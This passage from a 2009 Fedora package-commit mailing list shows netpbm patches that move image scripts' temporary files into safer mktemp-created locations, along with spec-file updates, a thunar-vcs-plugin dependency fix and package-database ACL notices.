+#   $tmpdir/junk2$$.ppm: The target (fade-from) image
+#   $tmpdir/junk3$$.ppm: The frame of the fade for the current iteration of the 
+#                	 the for loop.
+#   $tmpdir/junk1a$$.ppm: If the fade involves a ppmmix sequence from one intermediate
+#                         image to another, this is the first frame of that 
+#                         sequence.
+#   $tmpdir/junk2a$$.ppm: This is the last frame of the above-mentioned ppmmix sequence
 
 my $i;    # Frame number
 for ($i = 1; $i <= $nframes; $i++) {
@@ -147,147 +154,147 @@ for ($i = 1; $i <= $nframes; $i++) {
     if ($mode eq $SPREAD) {
         if ($i <= 10) {
             my $n = $spline20[$i] * 100;
-            system("ppmspread $n junk1$$.ppm >junk3$$.ppm");
+            system("ppmspread $n $tmpdir/junk1$$.ppm >$tmpdir/junk3$$.ppm");
         } elsif ($i <= 20) {
             my $n;
             $n = $spline20[$i] * 100;
-            system("ppmspread $n junk1$$.ppm >junk1a$$.ppm");
+            system("ppmspread $n $tmpdir/junk1$$.ppm >$tmpdir/junk1a$$.ppm");
             $n = (1-$spline20[$i-10]) * 100;
-            system("ppmspread $n junk2$$.ppm >junk2a$$.ppm");
+            system("ppmspread $n $tmpdir/junk2$$.ppm >$tmpdir/junk2a$$.ppm");
             $n = $spline10[$i-10];
-            system("ppmmix $n junk1a$$.ppm junk2a$$.ppm >junk3$$.ppm");
+            system("ppmmix $n $tmpdir/junk1a$$.ppm $tmpdir/junk2a$$.ppm >$tmpdir/junk3$$.ppm");
         } else {
             my $n = (1-$spline20[$i-10])*100;
-            system("ppmspread $n junk2$$.ppm >junk3$$.ppm");
+            system("ppmspread $n $tmpdir/junk2$$.ppm >$tmpdir/junk3$$.ppm");
         }
     } elsif ($mode eq $SHIFT) {
         if ($i <= 10) {
             my $n = $spline20[$i] * 100;
-            system("ppmshift $n junk1$$.ppm >junk3$$.ppm");
+            system("ppmshift $n $tmpdir/junk1$$.ppm >$tmpdir/junk3$$.ppm");
         } elsif ($i <= 20) {
             my $n;
             $n = $spline20[$i] * 100;
-            system("ppmshift $n junk1$$.ppm >junk1a$$.ppm");
+            system("ppmshift $n $tmpdir/junk1$$.ppm >$tmpdir/junk1a$$.ppm");
             $n = (1-$spline20[$i-10])*100;
-            system("ppmshift $n junk2$$.ppm >junk2a$$.ppm");
+            system("ppmshift $n $tmpdir/junk2$$.ppm >$tmpdir/junk2a$$.ppm");
             $n = $spline10[$i-10];
-            system("ppmmix $n junk1a$$.ppm junk2a$$.ppm >junk3$$.ppm");
+            system("ppmmix $n $tmpdir/junk1a$$.ppm $tmpdir/junk2a$$.ppm >$tmpdir/junk3$$.ppm");
         } else {
             my $n = (1-$spline20[$i-10]) * 100;
-            system("ppmshift $n junk2$$.ppm >junk3$$.ppm");
+            system("ppmshift $n $tmpdir/junk2$$.ppm >$tmpdir/junk3$$.ppm");
         }
     } elsif ($mode eq $RELIEF) {
         if ($i == 1) {
-            system("ppmrelief junk1$$.ppm >junk1r$$.ppm");
+            system("ppmrelief $tmpdir/junk1$$.ppm >$tmpdir/junk1r$$.ppm");
         }
         if ($i <= 10) {
             my $n = $spline10[$i];
-            system("ppmmix $n junk1$$.ppm junk1r$$.ppm >junk3$$.ppm");
+            system("ppmmix $n $tmpdir/junk1$$.ppm $tmpdir/junk1r$$.ppm >$tmpdir/junk3$$.ppm");
         } elsif ($i <= 20) {
             my $n = $spline10[$i-10];
-            system("ppmmix $n junk1r$$.ppm junk2r$$.ppm >junk3$$.ppm");
+            system("ppmmix $n $tmpdir/junk1r$$.ppm $tmpdir/junk2r$$.ppm >$tmpdir/junk3$$.ppm");
         } else {
             my $n = $spline10[$i-20];
-            system("ppmmix $n junk2r$$.ppm junk2$$.ppm >junk3$$.ppm");
+            system("ppmmix $n $tmpdir/junk2r$$.ppm $tmpdir/junk2$$.ppm >$tmpdir/junk3$$.ppm");
         }
         if ($i == 10) {
-            system("ppmrelief junk2$$.ppm >junk2r$$.ppm");
+            system("ppmrelief $tmpdir/junk2$$.ppm >$tmpdir/junk2r$$.ppm");
         }
     } elsif ($mode eq $OIL) {
         if ($i == 1) {
-            system("ppmtopgm junk1$$.ppm | pgmoil >junko$$.ppm");
-            system("rgb3toppm junko$$.ppm junko$$.ppm junko$$.ppm " .
-                   ">junk1o$$.ppm");
+            system("ppmtopgm $tmpdir/junk1$$.ppm | pgmoil >$tmpdir/junko$$.ppm");
+            system("rgb3toppm $tmpdir/junko$$.ppm $tmpdir/junko$$.ppm $tmpdir/junko$$.ppm " .
+                   ">$tmpdir/junk1o$$.ppm");
         }
         if ($i <= 10) {
             my $n = $spline10[$i];
-            system("ppmmix $n junk1$$.ppm junk1o$$.ppm >junk3$$.ppm");
+            system("ppmmix $n $tmpdir/junk1$$.ppm $tmpdir/junk1o$$.ppm >$tmpdir/junk3$$.ppm");
         } elsif ($i <= 20) {
             my $n = $spline10[$i-10];
-            system("ppmmix $n junk1o$$.ppm junk2o$$.ppm >junk3$$.ppm");
+            system("ppmmix $n $tmpdir/junk1o$$.ppm $tmpdir/junk2o$$.ppm >$tmpdir/junk3$$.ppm");
         } else {
             my $n = $spline10[$i-20];
-            system("ppmmix $n junk2o$$.ppm junk2$$.ppm >junk3$$.ppm");
+            system("ppmmix $n $tmpdir/junk2o$$.ppm $tmpdir/junk2$$.ppm >$tmpdir/junk3$$.ppm");
         }
         if ($i == 10) {
-            system("ppmtopgm junk2$$.ppm | pgmoil >junko$$.ppm");
-            system("rgb3toppm junko$$.ppm junko$$.ppm junko$$.ppm " .
-                   ">junk2o$$.ppm");
+            system("ppmtopgm $tmpdir/junk2$$.ppm | pgmoil >$tmpdir/junko$$.ppm");
+            system("rgb3toppm $tmpdir/junko$$.ppm $tmpdir/junko$$.ppm $tmpdir/junko$$.ppm " .
+                   ">$tmpdir/junk2o$$.ppm");
         }
     } elsif ($mode eq $EDGE) {
         if ($i == 1) {
-            system("ppmtopgm junk1$$.ppm | pgmedge >junko$$.ppm");
-            system("rgb3toppm junko$$.ppm junko$$.ppm junko$$.ppm " .
-                   ">junk1o$$.ppm");
+            system("ppmtopgm $tmpdir/junk1$$.ppm | pgmedge >$tmpdir/junko$$.ppm");
+            system("rgb3toppm $tmpdir/junko$$.ppm $tmpdir/junko$$.ppm $tmpdir/junko$$.ppm " .
+                   ">$tmpdir/junk1o$$.ppm");
         }
         if ($i <= 10) {
             my $n = $spline10[$i];
-            system("ppmmix $n junk1$$.ppm junk1o$$.ppm >junk3$$.ppm");
+            system("ppmmix $n $tmpdir/junk1$$.ppm $tmpdir/junk1o$$.ppm >$tmpdir/junk3$$.ppm");
         } elsif ($i <= 20) {
             my $n = $spline10[$i-10];
-            system("ppmmix $n junk1o$$.ppm junk2o$$.ppm >junk3$$.ppm");
+            system("ppmmix $n $tmpdir/junk1o$$.ppm $tmpdir/junk2o$$.ppm >$tmpdir/junk3$$.ppm");
         } else {
             my $n = $spline10[$i-20];
-            system("ppmmix $n junk2o$$.ppm junk2$$.ppm >junk3$$.ppm");
+            system("ppmmix $n $tmpdir/junk2o$$.ppm $tmpdir/junk2$$.ppm >$tmpdir/junk3$$.ppm");
         }
         if ($i == 10) {
-            system("ppmtopgm junk2$$.ppm | pgmedge >junko$$.ppm");
-            system("rgb3toppm junko$$.ppm junko$$.ppm junko$$.ppm " .
-                   ">junk2o$$.ppm");
+            system("ppmtopgm $tmpdir/junk2$$.ppm | pgmedge >$tmpdir/junko$$.ppm");
+            system("rgb3toppm $tmpdir/junko$$.ppm $tmpdir/junko$$.ppm $tmpdir/junko$$.ppm " .
+                   ">$tmpdir/junk2o$$.ppm");
         } 
     } elsif ($mode eq $BENTLEY) {
         if ($i == 1) {
-            system("ppmtopgm junk1$$.ppm | pgmbentley >junko$$.ppm");
-            system("rgb3toppm junko$$.ppm junko$$.ppm junko$$.ppm " .
-                   ">junk1o$$.ppm");
+            system("ppmtopgm $tmpdir/junk1$$.ppm | pgmbentley >$tmpdir/junko$$.ppm");
+            system("rgb3toppm $tmpdir/junko$$.ppm $tmpdir/junko$$.ppm $tmpdir/junko$$.ppm " .
+                   ">$tmpdir/junk1o$$.ppm");
         }
         if ($i <= 10) {
             my $n = $spline10[$i];
-            system("ppmmix $n junk1$$.ppm junk1o$$.ppm >junk3$$.ppm");
+            system("ppmmix $n $tmpdir/junk1$$.ppm $tmpdir/junk1o$$.ppm >$tmpdir/junk3$$.ppm");
         } elsif ($i <= 20) {
             my $n = $spline10[$i-10];
-            system("ppmmix $n junk1o$$.ppm junk2o$$.ppm >junk3$$.ppm");
+            system("ppmmix $n $tmpdir/junk1o$$.ppm $tmpdir/junk2o$$.ppm >$tmpdir/junk3$$.ppm");
         } else {
             my $n = $spline10[$i-20];
-            system("ppmmix $n junk2o$$.ppm junk2$$.ppm >junk3$$.ppm");
+            system("ppmmix $n $tmpdir/junk2o$$.ppm $tmpdir/junk2$$.ppm >$tmpdir/junk3$$.ppm");
         }
         if ($i == 10) {
-            system("ppmtopgm junk2$$.ppm | pgmbentley >junko$$.ppm");
-            system("rgb3toppm junko$$.ppm junko$$.ppm junko$$.ppm " .
-                   ">junk2o$$.ppm");
+            system("ppmtopgm $tmpdir/junk2$$.ppm | pgmbentley >$tmpdir/junko$$.ppm");
+            system("rgb3toppm $tmpdir/junko$$.ppm $tmpdir/junko$$.ppm $tmpdir/junko$$.ppm " .
+                   ">$tmpdir/junk2o$$.ppm");
         }
     } elsif ($mode eq $BLOCK) {
         if ($i <= 10) {
             my $n = 1 - 1.9*$spline20[$i];
-            system("pamscale $n junk1$$.ppm | " .
-                   "pamscale -width $width -height $height >junk3$$.ppm");
+            system("pamscale $n $tmpdir/junk1$$.ppm | " .
+                   "pamscale -width $width -height $height >$tmpdir/junk3$$.ppm");
         } elsif ($i <= 20) {
             my $n = $spline10[$i-10];
-            system("ppmmix $n junk1a$$.ppm junk2a$$.ppm >junk3$$.ppm");
+            system("ppmmix $n $tmpdir/junk1a$$.ppm $tmpdir/junk2a$$.ppm >$tmpdir/junk3$$.ppm");
         } else {
             my $n = 1 - 1.9*$spline20[31-$i];
-            system("pamscale $n junk2$$.ppm | " .
-                   "pamscale -width $width -height $height >junk3$$.ppm");
+            system("pamscale $n $tmpdir/junk2$$.ppm | " .
+                   "pamscale -width $width -height $height >$tmpdir/junk3$$.ppm");
         }
         if ($i == 10) {
-            system("cp", "junk3$$.ppm", "junk1a$$.ppm");
-            system("pamscale $n junk2$$.ppm | " .
-                   "pamscale -width $width -height $height >junk2a$$.ppm");
+            system("cp", "$tmpdir/junk3$$.ppm", "$tmpdir/junk1a$$.ppm");
+            system("pamscale $n $tmpdir/junk2$$.ppm | " .
+                   "pamscale -width $width -height $height >$tmpdir/junk2a$$.ppm");
         }    
     } elsif ($mode eq $MIX) {
         my $fade_factor = sqrt(1/($nframes-$i+1));
-        system("ppmmix $fade_factor junk1$$.ppm junk2$$.ppm >junk3$$.ppm");
+        system("ppmmix $fade_factor $tmpdir/junk1$$.ppm $tmpdir/junk2$$.ppm >$tmpdir/junk3$$.ppm");
     } else {
         print("Internal error: impossible mode value '$mode'\n");
     }
 
     my $outfile = sprintf("%s.%04d.ppm", $base_name, $i);
-    system("cp", "junk3$$.ppm", $outfile);
+    system("cp", "$tmpdir/junk3$$.ppm", $outfile);
 }
 
 #
 #  Clean up shop.
 #
-system("rm junk*$$.ppm");
+system("rm $tmpdir/junk*$$.ppm");
 
 exit(0);
diff -up netpbm-10.47.04/editor/ppmquantall.security2 netpbm-10.47.04/editor/ppmquantall
--- netpbm-10.47.04/editor/ppmquantall.security2	2009-10-21 13:38:57.000000000 +0200
+++ netpbm-10.47.04/editor/ppmquantall	2009-10-21 14:52:38.000000000 +0200
@@ -70,12 +70,8 @@ for i in ${files[@]}; do
     heights=(${heights[*]} `grep -v '^#' $i | sed '1d; s/.* //; 2q'`)
 done
 
-tempdir="${TMPDIR-/tmp}/ppmquantall.$$"
-mkdir -m 0700 $tempdir || \
-  { echo "Could not create temporary file. Exiting."; exit 1;}
-trap 'rm -rf $tempdir' 0 1 3 15
-
-all=$tempdir/pqa.all.$$
+all=$(mktemp -t pqa.all.XXXXXXXXXX) || exit 1
+rm -f $all
 
 pnmcat -topbottom -jleft -white ${files[@]} | pnmquant $newcolors > $all
 if [ $? != 0 ]; then
diff -up netpbm-10.47.04/editor/ppmshadow.security2 netpbm-10.47.04/editor/ppmshadow
--- netpbm-10.47.04/editor/ppmshadow.security2	2009-10-21 13:38:57.000000000 +0200
+++ netpbm-10.47.04/editor/ppmshadow	2009-10-21 14:51:02.000000000 +0200
@@ -72,9 +72,10 @@ sub makeConvolutionKernel($$) {
 
 
 my $tmpdir = $ENV{TMPDIR} || "/tmp";
-my $ourtmp = "$tmpdir/ppmshadow$$";
-mkdir($ourtmp, 0777) or
-    die("Unable to create directory for temporary files '$ourtmp");
+my $ourtmp; chomp($ourtmp = `mktemp -d -t PPMshadow.XXXXXX`);
+if ($? >> 8) {
+    die "Can't create directory for temporary files";
+}
 
 #   Process command line options
 

netpbm-svgtopam.patch:
 Makefile |    4 ----
 1 file changed, 4 deletions(-)

--- NEW FILE netpbm-svgtopam.patch ---
diff -up netpbm-10.35.67/converter/other/Makefile.svgtopam netpbm-10.35.67/converter/other/Makefile
--- netpbm-10.35.67/converter/other/Makefile.svgtopam	2009-09-04 13:57:06.000000000 +0200
+++ netpbm-10.35.67/converter/other/Makefile	2009-09-04 14:09:00.000000000 +0200
@@ -107,10 +107,6 @@ ifneq ($(ZLIB),NONE)
   BINARIES += pnmtops
 endif
 
-ifneq ($(XML2_LIBS),NONE)
-  BINARIES += svgtopam
-endif 
-
 MERGEBINARIES = $(BINARIES)
 
 EXTRA_OBJECTS = exif.o rast.o bmepsoe.o

netpbm-time.patch:
 config.h |    4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

--- NEW FILE netpbm-time.patch ---
--- netpbm-10.17/converter/other/fiasco/config.h.time	2001-05-28 02:43:11.000000000 +0200
+++ netpbm-10.17/converter/other/fiasco/config.h	2003-09-08 15:23:17.000000000 +0200
@@ -19,7 +19,7 @@
 #define STDC_HEADERS 1
 
 /* Define if you can safely include both <sys/time.h> and <time.h>.  */
-#define TIME_WITH_SYS_TIME 1
+/* #undef TIME_WITH_SYS_TIME 1 */
 
 /* Define if your processor stores words with the most significant
    byte first (like Motorola and SPARC, unlike Intel and VAX).  */
@@ -79,7 +79,7 @@
 #define HAVE_STRING_H 1
 
 /* Define if you have the <sys/time.h> header file.  */
-#define HAVE_SYS_TIME_H 1
+/* #undef HAVE_SYS_TIME_H 1 */
 
 /* Define if you have the <unistd.h> header file.  */
 #define HAVE_UNISTD_H 1

netpbm-xwdfix.patch:
 xwdtopnm.c |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE netpbm-xwdfix.patch ---
--- netpbm-10.35/converter/other/xwdtopnm.c.xwdfix	2006-09-18 13:24:50.000000000 +0200
+++ netpbm-10.35/converter/other/xwdtopnm.c	2006-09-18 13:27:26.000000000 +0200
@@ -945,7 +945,7 @@ getpix(pixelReader * const rdrP) {
             unsigned long const bitsToTakeMask = lsbmask[nBitsToTake];
                 /* E.g. if nbitsToTake is 4, this is 0x0000000F */
 
-            unsigned long bitsToTake;
+            unsigned int bitsToTake;
                 /* The actual bits we take, in the 'nBitsToTake' low bits */
 
             assert(nBitsToTake <= 32);


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/netpbm/F-11/.cvsignore,v
retrieving revision 1.54
retrieving revision 1.55
diff -u -p -r1.54 -r1.55
--- .cvsignore	18 May 2009 05:14:43 -0000	1.54
+++ .cvsignore	21 Oct 2009 16:27:35 -0000	1.55
@@ -1 +1 @@
-netpbm-10.35.64.tar.bz2
+netpbm-10.47.04.tar.xz


Index: netpbm.spec
===================================================================
RCS file: /cvs/pkgs/rpms/netpbm/F-11/netpbm.spec,v
retrieving revision 1.139
retrieving revision 1.140
diff -u -p -r1.139 -r1.140
--- netpbm.spec	18 May 2009 05:14:44 -0000	1.139
+++ netpbm.spec	21 Oct 2009 16:27:37 -0000	1.140
@@ -1,6 +1,6 @@
 Summary: A library for handling different graphics file formats
 Name: netpbm
-Version: 10.35.64
+Version: 10.47.04
 Release: 1%{?dist}
 # See copyright_summary for details
 License: BSD and GPLv2 and IJG and MIT and Public Domain
@@ -10,27 +10,22 @@ URL: http://netpbm.sourceforge.net/
 # svn checkout https://netpbm.svn.sourceforge.net/svnroot/netpbm/stable netpbm-%{version}
 # svn checkout https://netpbm.svn.sourceforge.net/svnroot/netpbm/userguide netpbm-%{version}/userguide
 # and removing the .svn directories
-Source0: netpbm-%{version}.tar.bz2
-Patch1: netpbm-10.17-time.patch
-Patch2: netpbm-9.24-strip.patch
-Patch3: netpbm-10.19-message.patch
-Patch4: netpbm-10.22-security2.patch
-Patch6: netpbm-10.23-security.patch
-Patch7: netpbm-10.24-nodoc.patch
-Patch8: netpbm-10.28-gcc4.patch
-Patch9: netpbm-10.27-bmptopnm.patch
-Patch10: netpbm-10.28-CAN-2005-2471.patch
-Patch11: netpbm-10.31-xwdfix.patch
-Patch12: netpbm-10.33-ppmtompeg.patch
-Patch13: netpbm-10.33-multilib.patch
-Patch14: netpbm-10.34-pamscale.patch
-Patch18: netpbm-10.35-glibc.patch
-Patch19: netpbm-10.35-gcc43.patch
-Patch20: netpbm-10.35-rgbtxt.patch
-Patch22: netpbm-10.35-pnmmontagefix.patch
-Patch23: netpbm-10.35-pnmtofiasco-stdin.patch
-Patch24: netpbm-10.35-64bitfix.patch
-Patch29: netpbm-10.35-svgtopam.patch
+Source0: netpbm-%{version}.tar.xz
+Patch1: netpbm-time.patch
+Patch2: netpbm-message.patch
+Patch3: netpbm-security-scripts.patch
+Patch4: netpbm-security-code.patch
+Patch5: netpbm-nodoc.patch
+Patch6: netpbm-gcc4.patch
+Patch7: netpbm-bmptopnm.patch
+Patch8: netpbm-CAN-2005-2471.patch
+Patch9: netpbm-xwdfix.patch
+Patch10: netpbm-ppmtompeg.patch
+Patch11: netpbm-multilib.patch
+Patch12: netpbm-pamscale.patch
+Patch13: netpbm-glibc.patch
+Patch14: netpbm-pnmtofiasco-stdin.patch
+Patch15: netpbm-svgtopam.patch
 Buildroot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildRequires: libjpeg-devel, libpng-devel, libtiff-devel, flex
 BuildRequires: libX11-devel, python, jasper-devel
@@ -73,25 +68,22 @@ netpbm-progs.  You'll also need to insta
 %prep
 %setup -q
 %patch1 -p1 -b .time
-%patch2 -p1 -b .strip
-%patch3 -p1 -b .message
-%patch4 -p1 -b .security2
-%patch6 -p1 -b .security
-%patch7 -p1 -b .nodoc
-%patch8 -p1 -b .gcc4
-%patch9 -p1 -b .bmptopnm
-%patch10 -p1 -b .CAN-2005-2471
-%patch11 -p1 -b .xwdfix
-%patch12 -p1 -b .ppmtompeg
-%patch13 -p1 -b .multilib
-%patch14 -p1 -b .pamscale
-%patch18 -p1 -b .glibc
-%patch19 -p1 -b .gcc43
-%patch20 -p1 -b .rgbtxt
-%patch22 -p1 -b .pnmmontagefix
-%patch23 -p1 -b .pnmtofiasco-stdin
-%patch24 -p1 -b .64bitfix
-%patch29 -p1 -b .svgtopam
+%patch2 -p1 -b .message
+%patch3 -p1 -b .security-scripts
+%patch4 -p1 -b .security-code
+%patch5 -p1 -b .nodoc
+%patch6 -p1 -b .gcc4
+%patch7 -p1 -b .bmptopnm
+%patch8 -p1 -b .CAN-2005-2471
+%patch9 -p1 -b .xwdfix
+%patch10 -p1 -b .ppmtompeg
+%patch11 -p1 -b .multilib
+%patch12 -p1 -b .pamscale
+%patch13 -p1 -b .glibc
+%patch14 -p1 -b .pnmtofiasco-stdin
+%patch15 -p1 -b .svgtopam
+
+sed -i 's/STRIPFLAG = -s/STRIPFLAG =/g' config.mk.in
 
 %build
 ./configure <<EOF
@@ -205,7 +197,8 @@ rm -rf $RPM_BUILD_ROOT
 
 %files devel
 %defattr(-,root,root)
-%{_includedir}/*.h
+%dir %{_includedir}/netpbm
+%{_includedir}/netpbm/*.h
 %{_libdir}/lib*.so
 %{_mandir}/man3/*
 
@@ -217,6 +210,10 @@ rm -rf $RPM_BUILD_ROOT
 %{_datadir}/netpbm/
 
 %changelog
+* Wed Oct 21 2009 Jindrich Novy <jnovy at redhat.com> 10.47.04-1
+- update to 10.47.04 (it is now stable) (#529525)
+- fixes #502917, #482850, #482847
+
 * Mon May 18 2009 Jindrich Novy <jnovy at redhat.com> 10.35.64-1
 - update to 10.35.64
 - fixes pnmremap, giftopnm, ppmpat, ppmdraw


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/netpbm/F-11/sources,v
retrieving revision 1.58
retrieving revision 1.59
diff -u -p -r1.58 -r1.59
--- sources	18 May 2009 05:14:44 -0000	1.58
+++ sources	21 Oct 2009 16:27:37 -0000	1.59
@@ -1 +1 @@
-1f6e7c278db25afd8a7ca2d5149c4fce  netpbm-10.35.64.tar.bz2
+87d9e65a88c929bfbc60f9d4f3d87d5b  netpbm-10.47.04.tar.xz


--- netpbm-10.17-time.patch DELETED ---


--- netpbm-10.19-message.patch DELETED ---


--- netpbm-10.22-security2.patch DELETED ---


--- netpbm-10.23-security.patch DELETED ---


--- netpbm-10.24-nodoc.patch DELETED ---


--- netpbm-10.27-bmptopnm.patch DELETED ---


--- netpbm-10.28-CAN-2005-2471.patch DELETED ---


--- netpbm-10.28-gcc4.patch DELETED ---


--- netpbm-10.31-xwdfix.patch DELETED ---


--- netpbm-10.32-pnmdepth.patch DELETED ---


--- netpbm-10.33-multilib.patch DELETED ---


--- netpbm-10.33-ppmtompeg.patch DELETED ---


--- netpbm-10.34-pamscale.patch DELETED ---


--- netpbm-10.35-64bitfix.patch DELETED ---


--- netpbm-10.35-gcc43.patch DELETED ---


--- netpbm-10.35-glibc.patch DELETED ---


--- netpbm-10.35-pnmmontagefix.patch DELETED ---


--- netpbm-10.35-pnmtofiasco-stdin.patch DELETED ---


--- netpbm-10.35-rgbtxt.patch DELETED ---


--- netpbm-10.35-svgtopam.patch DELETED ---


--- netpbm-9.24-strip.patch DELETED ---



From cwickert at fedoraproject.org  Wed Oct 21 16:42:50 2009
From: cwickert at fedoraproject.org (Christoph Wickert)
Date: Wed, 21 Oct 2009 16:42:50 +0000 (UTC)
Subject: rpms/thunar-vcs-plugin/F-10 thunar-vcs-plugin.spec,1.2,1.3
Message-ID: <20091021164250.525EF11C00E8@cvs1.fedora.phx.redhat.com>

Author: cwickert

Update of /cvs/pkgs/rpms/thunar-vcs-plugin/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7973

Modified Files:
	thunar-vcs-plugin.spec 
Log Message:
* Wed Oct 21 2009 Christoph Wickert <cwickert at fedoraproject.org> - 0.1.0-1.1
- Fix Thunar dependency 



Index: thunar-vcs-plugin.spec
===================================================================
RCS file: /cvs/pkgs/rpms/thunar-vcs-plugin/F-10/thunar-vcs-plugin.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- thunar-vcs-plugin.spec	19 Oct 2009 23:06:20 -0000	1.2
+++ thunar-vcs-plugin.spec	21 Oct 2009 16:42:50 -0000	1.3
@@ -2,7 +2,7 @@
 
 Name:           thunar-vcs-plugin
 Version:        0.1.0
-Release:        1%{?dist}
+Release:        1%{?dist}.1
 Summary:        SVN integration for the Thunar filemanager
 
 Group:          User Interface/Desktops
@@ -20,7 +20,7 @@ BuildRequires:  uuid-devel
 BuildRequires:  libuuid-devel
 %endif
 BuildRequires:  gettext, intltool
-Requires:       Thunar >= 1.0.0
+Requires:       Thunar >= 0.9.0
 Requires:       subversion
 # Obsolete thunar-svn-plugin for smooth upgrades
 Provides:       thunar-svn-plugin = %{version}-%{release}
@@ -84,5 +84,8 @@ gtk-update-icon-cache %{_datadir}/icons/
 
 
 %changelog
+* Wed Oct 21 2009 Christoph Wickert <cwickert at fedoraproject.org> - 0.1.0-1.1
+- Fix Thunar dependency 
+
 * Wed Sep 30 2009 Christoph Wickert <cwickert at fedoraproject.org> - 0.1.0-1
 - Initial Fedora package



From pkgdb at fedoraproject.org  Wed Oct 21 16:47:45 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Wed, 21 Oct 2009 16:47:45 +0000
Subject: [pkgdb] poppler had acl change status
Message-ID: <20091021164745.E9ECC10F885@bastion2.fedora.phx.redhat.com>

krh has set the watchcommits acl on poppler (Fedora devel) to Approved for mkasik

To make changes to this package see:
  /pkgdb/packages/name/poppler



From pkgdb at fedoraproject.org  Wed Oct 21 16:47:53 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Wed, 21 Oct 2009 16:47:53 +0000
Subject: [pkgdb] poppler had acl change status
Message-ID: <20091021164753.8AF3B10F88F@bastion2.fedora.phx.redhat.com>

krh has set the commit acl on poppler (Fedora devel) to Approved for mkasik

To make changes to this package see:
  /pkgdb/packages/name/poppler



From pkgdb at fedoraproject.org  Wed Oct 21 16:47:53 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Wed, 21 Oct 2009 16:47:53 +0000
Subject: [pkgdb] poppler had acl change status
Message-ID: <20091021164754.2101F10F892@bastion2.fedora.phx.redhat.com>

krh has set the watchcommits acl on poppler (Fedora 11) to Approved for mkasik

To make changes to this package see:
  /pkgdb/packages/name/poppler



From pkgdb at fedoraproject.org  Wed Oct 21 16:47:54 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Wed, 21 Oct 2009 16:47:54 +0000
Subject: [pkgdb] poppler had acl change status
Message-ID: <20091021164754.3DABF10F89A@bastion2.fedora.phx.redhat.com>

krh has set the commit acl on poppler (Fedora 11) to Approved for mkasik

To make changes to this package see:
  /pkgdb/packages/name/poppler



From pkgdb at fedoraproject.org  Wed Oct 21 16:47:55 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Wed, 21 Oct 2009 16:47:55 +0000
Subject: [pkgdb] poppler had acl change status
Message-ID: <20091021164755.E01B010F880@bastion2.fedora.phx.redhat.com>

krh has set the watchcommits acl on poppler (Fedora 12) to Approved for mkasik

To make changes to this package see:
  /pkgdb/packages/name/poppler



From pkgdb at fedoraproject.org  Wed Oct 21 16:47:57 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Wed, 21 Oct 2009 16:47:57 +0000
Subject: [pkgdb] poppler had acl change status
Message-ID: <20091021164757.5811110F89C@bastion2.fedora.phx.redhat.com>

krh has set the commit acl on poppler (Fedora 12) to Approved for mkasik

To make changes to this package see:
  /pkgdb/packages/name/poppler



From jnovy at fedoraproject.org  Wed Oct 21 17:03:41 2009
From: jnovy at fedoraproject.org (Jindrich Novy)
Date: Wed, 21 Oct 2009 17:03:41 +0000 (UTC)
Subject: rpms/netpbm/F-10 netpbm-CAN-2005-2471.patch, NONE,
	1.1 netpbm-bmptopnm.patch, NONE, 1.1 netpbm-gcc4.patch, NONE,
	1.1 netpbm-glibc.patch, NONE, 1.1 netpbm-message.patch, NONE,
	1.1 netpbm-multilib.patch, NONE, 1.1 netpbm-nodoc.patch, NONE,
	1.1 netpbm-pamscale.patch, NONE, 1.1 netpbm-pnmdepth.patch, NONE,
	1.1 netpbm-pnmtofiasco-stdin.patch, NONE,
	1.1 netpbm-ppmtompeg.patch, NONE, 1.1 netpbm-security-code.patch,
	NONE, 1.1 netpbm-security-scripts.patch, NONE,
	1.1 netpbm-svgtopam.patch, NONE, 1.1 netpbm-time.patch, NONE,
	1.1 netpbm-xwdfix.patch, NONE, 1.1 .cvsignore, 1.50,
	1.51 netpbm.spec, 1.126, 1.127 sources, 1.54,
	1.55 netpbm-10.17-time.patch, 1.1,
	NONE netpbm-10.19-message.patch, 1.2,
	NONE netpbm-10.22-security2.patch, 1.5,
	NONE netpbm-10.23-security.patch, 1.21,
	NONE netpbm-10.24-nodoc.patch, 1.1,
	NONE netpbm-10.27-bmptopnm.patch, 1.5,
	NONE netpbm-10.28-CAN-2005-2471.patch, 1.2,
	NONE netpbm-10.28-gcc4.patch, 1.2,
	NONE netpbm-10.31-xwdfix.patch, 1.2,
	NONE netpbm-10.32-pnmdepth.patch, 1.1,
	NONE netpbm-10.33-multilib.patch, 1.1,
	NONE netpbm-10.33-ppmtompeg.patch, 1.3,
	NONE netpbm-10.34-pamscale.patch, 1.1,
	NONE netpbm-10.35-64bitfix.patch, 1.1,
	NONE netpbm-10.35-gcc43.patch, 1.1,
	NONE netpbm-10.35-glibc.patch, 1.1,
	NONE netpbm-10.35-pbmtog3segfault.patch, 1.1,
	NONE netpbm-10.35-pnmmontagefix.patch, 1.1,
	NONE netpbm-10.35-pnmtofiasco-stdin.patch, 1.1,
	NONE netpbm-10.35-rgbtxt.patch, 1.1,
	NONE netpbm-10.35-svgtopam.patch, 1.1,
	NONE netpbm-9.24-strip.patch, 1.1, NONE
Message-ID: <20091021170341.C153111C00E8@cvs1.fedora.phx.redhat.com>

Author: jnovy

Update of /cvs/pkgs/rpms/netpbm/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15442

Modified Files:
	.cvsignore netpbm.spec sources 
Added Files:
	netpbm-CAN-2005-2471.patch netpbm-bmptopnm.patch 
	netpbm-gcc4.patch netpbm-glibc.patch netpbm-message.patch 
	netpbm-multilib.patch netpbm-nodoc.patch netpbm-pamscale.patch 
	netpbm-pnmdepth.patch netpbm-pnmtofiasco-stdin.patch 
	netpbm-ppmtompeg.patch netpbm-security-code.patch 
	netpbm-security-scripts.patch netpbm-svgtopam.patch 
	netpbm-time.patch netpbm-xwdfix.patch 
Removed Files:
	netpbm-10.17-time.patch netpbm-10.19-message.patch 
	netpbm-10.22-security2.patch netpbm-10.23-security.patch 
